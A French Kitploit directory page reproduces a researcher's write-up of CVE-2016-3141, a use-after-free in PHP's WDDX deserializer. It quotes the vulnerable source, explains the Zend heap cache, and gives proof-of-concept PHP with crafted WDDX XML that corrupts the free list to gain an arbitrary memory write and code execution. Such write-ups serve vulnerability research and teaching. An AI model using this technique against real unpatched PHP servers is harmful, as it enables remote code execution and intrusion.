Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
Outils/GitHubGitHub/peternguyen93/cve-2016-3141
Criminalistique MémoireAnalyse des VulnérabilitésAnalyse de CodeExploitationApprentissage et ÉducationExploitation de Binaires
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

Voir le dépôt
154il y a 10 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2016-3141

1. Détail de la vulnérabilité.

Vulnérabilité use-after-free dans wddx.c de l'extension WDDX de PHP avant 5.5.33 et 5.6.x avant 5.6.19 permet à des attaquants distants de provoquer un déni de service (corruption mémoire et crash de l'application) ou éventuellement d'avoir un autre impact non spécifié en déclenchant un appel wddx_deserialize sur des données XML contenant un élément var spécialement conçu.

2. Vue d'ensemble du bug.

C'est un bug Use-After-Free, survenant lorsque wddx tente de traiter des données XML. Regardez ce code dans la fonction php_wddx_deserialize_ex. Quand wddx_deserialize($xml) traite des données XML, php appelle cette fonction puis définit certaines fonctions pour gérer les balises et les données XML.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

La fonction php_wddx_push_element crée une entrée pour une balise comme vous pouvez le voir dans cet extrait. Par exemple, si vous entrez <string>Hello World</string>, lorsqu'elle rencontre la balise ouvrante elle appelle php_wddx_push_element pour créer une entrée st_entry qui stocke les informations d'une balise. Regardons un extrait de code ci-dessous.

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME est une procédure définie ci-dessous. Cette procédure vérifie simplement stack->varname d'une balise ; s'il n'est pas NULL, elle clone ce stack->varname puis le libère.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

Le bug se produit dans php_wddx_pop_element. Lorsque le XML ferme une balise de type var, il libère varname de cette balise, et ce pointeur libéré est toujours stocké dans stack->varname. Par exemple, si vous créez une variable comme <var name='UAF'></var>, php_wddx_push_element crée une structure qui stocke cette balise var ; ensuite, lorsque vous fermez cette balise, elle est libérée mais on oublie de définir stack->name = NULL ou de décrémenter stack->top. Après cela, si vous créez une autre balise comme <string>, la fonction SET_STACK_VARNAME réutilisera ce pointeur libéré.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. L'exploitation

Quand j'ai vu ce bug pour la première fois, je me suis dit « ne puis-je pas transformer ce bug en exécution de code ? ». D'abord, je dois comprendre comment le heap de zend est implémenté. Regardons la fonction _zend_mm_alloc_int dans zend_alloc.c ci-dessous.

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

Si nous allouons un bloc de petite taille (moins de 256 octets), zend_alloc utilisera heap->cache, une liste de blocs libres contenant plusieurs petites listes chaînées de blocs libres ; ce heap->cache est comme le fast_bin de malloc. Si d'une manière ou d'une autre nous pouvons écraser le pointeur best_fit->prev_free_block avec notre propre adresse, puis appeler zend_alloc à nouveau, nous pouvons utiliser cette adresse pour écrire quelque part en mémoire.

Pour ce faire, je vais créer le XML wddx ci-dessous :

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. Créer 32 octets (chunk_a) avec la balise binary car cette balise permet de saisir des caractères non imprimables.
  2. Créer un nom de même taille que la première balise binary, puis faire en sorte que ce nom soit libéré (chunk_b).
  3. Créer un bloc de remplissage de 64 octets (chunk_c).
  4. Créer un nom de 8 octets puis le libérer (chunk_d).
  5. Après la désérialisation de ce $xml, je fais une boucle foreach sur cet objet ; dans la première itération, $k pointe maintenant sur chunk_b qui est libéré, $v pointe sur chunk_a. J'utilise l'opérateur concat_function pour écraser best_fit->prev_free_block avec mes propres données.
  6. J'utilise la conversion de chaîne de php, qui appelle estrncpy, pour créer un nouveau bloc (chunk_e) pointant maintenant vers chunk_b et faire en sorte que heap->cache[index] stocke ma propre valeur.
  7. Ok, je recommence avec estrncpy($v,32) ($v=$binary_value) ; le premier zend_alloc est de nouveau appelé et nous avons un crash avec $r12 = 0x4343434343. Si nous remplaçons cette valeur par une autre adresse, estrncpy appellera volontiers memcpy(r12,v,size), ce qui nous permet d'écraser n'importe où dans la mémoire.

Crash

Vous pouvez voir mon exploit complet ici peter_code_execute.php (Testé sur Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

Finalement, j'ai réussi à transformer ce bug en exécution de code. Result

4. Références

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

Télécharger l’outil